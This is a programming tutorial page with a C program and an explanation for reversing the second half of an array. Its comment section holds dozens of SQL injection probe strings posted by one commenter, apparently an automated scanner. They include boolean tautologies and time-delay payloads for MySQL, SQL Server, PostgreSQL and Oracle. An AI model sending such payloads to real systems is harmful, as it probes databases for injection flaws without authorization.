C Program to reverse the second half of array elements

Get array size n and n elements of array, then reverse the second n/2 elements.

Sample Input 1:

5 5 7 9 3 1

Sample Output 1:

5 7 1 3 9

Program or Solution

				
			
					
#include <stdio.h>
#include <stdlib.h>


int main(void)

{
	
	int *a,n,i,j,temp;

	printf("Enter size of array:");
	scanf("%d",&n);

	a=malloc(sizeof(int)*n);

	printf("Enter %d Elements:",n);
	for(i=0;i<n;i++)

	{

		scanf("%d",&a[i]);

	}

	
		
	for(i=n/2,j=n-1;i<j;i++,j--)
	
	{

		temp=a[i];
		a[i]=a[j];
		a[j]=temp;
	}

	printf("After reversing the second half:\n");
	for(i=0;i<n;i++)

	{

		printf("%d ",a[i]);

	}

	
	return 0;

}
			
				
			

Program Explanation

initialize i to middle location of array and j to last location of array using i=n/2 j=n-1

swap the elements in location i and j, then increment i by 1 and decrement j by 1.

t=a[i] a[i]=a[j] a[j]=temp repeat the above step till i is less than j

Comments

ubaTaeCJ
-1 OR 2+343-343-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+343-343-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+343-343) --
ubaTaeCJ
-1 OR 3*2>(0+5+343-343) --
ubaTaeCJ
-1 OR 2+131-131-1=0+0+0+1
ubaTaeCJ
-1 OR 3+131-131-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+131-131)
ubaTaeCJ
-1 OR 3*2>(0+5+131-131)
ubaTaeCJ
-1' OR 2+420-420-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+420-420-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+420-420) --
ubaTaeCJ
-1' OR 3*2>(0+5+420-420) --
ubaTaeCJ
-1' OR 2+773-773-1=0+0+0+1 or 'Mgns1KS3'='
ubaTaeCJ
-1' OR 3+773-773-1=0+0+0+1 or 'Mgns1KS3'='
ubaTaeCJ
-1' OR 3*2<(0+5+773-773) or 'Mgns1KS3'='
ubaTaeCJ
-1' OR 3*2>(0+5+773-773) or 'Mgns1KS3'='
ubaTaeCJ
-1" OR 2+680-680-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+680-680-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+680-680) --
ubaTaeCJ
-1" OR 3*2>(0+5+680-680) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
shQGLR4L'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 23=(SELECT 23 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 670=(SELECT 670 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 673=(SELECT 673 FROM PG_SLEEP(15))--
ubaTaeCJ
qhnLkokn' OR 146=(SELECT 146 FROM PG_SLEEP(15))--
ubaTaeCJ
gY4My7PU') OR 838=(SELECT 838 FROM PG_SLEEP(15))--
ubaTaeCJ
sKhOyTqe')) OR 228=(SELECT 228 FROM PG_SLEEP(6))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@KJMOz